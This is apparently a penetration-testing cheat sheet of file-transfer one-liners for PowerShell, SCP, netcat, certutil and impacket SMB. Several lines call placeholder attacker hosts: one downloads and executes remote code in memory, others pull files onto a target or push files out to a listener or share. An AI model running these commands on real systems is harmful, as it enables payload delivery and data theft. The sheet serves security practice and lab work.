FILE TRANSFERS
PowerShell
iex (New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/file')
iwr <LHOST>/<FILE> -o <FILE>
powershell.exe (New-Object System.Net.WebClient).DownloadFile("http://<ip>:<PORT>/example.txt", "C:\Windows\Temp\example.txt")
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
SCP
scp FiletoTransfer <user>@<ip>:<path>
scp <user>@<ip>:</path/to/file> .
NetCat
nc -lnvp <LPORT> > <FILE>
nc <RHOST> <RPORT> < <FILE>
CertUtil
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
SMB
sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>
Last updated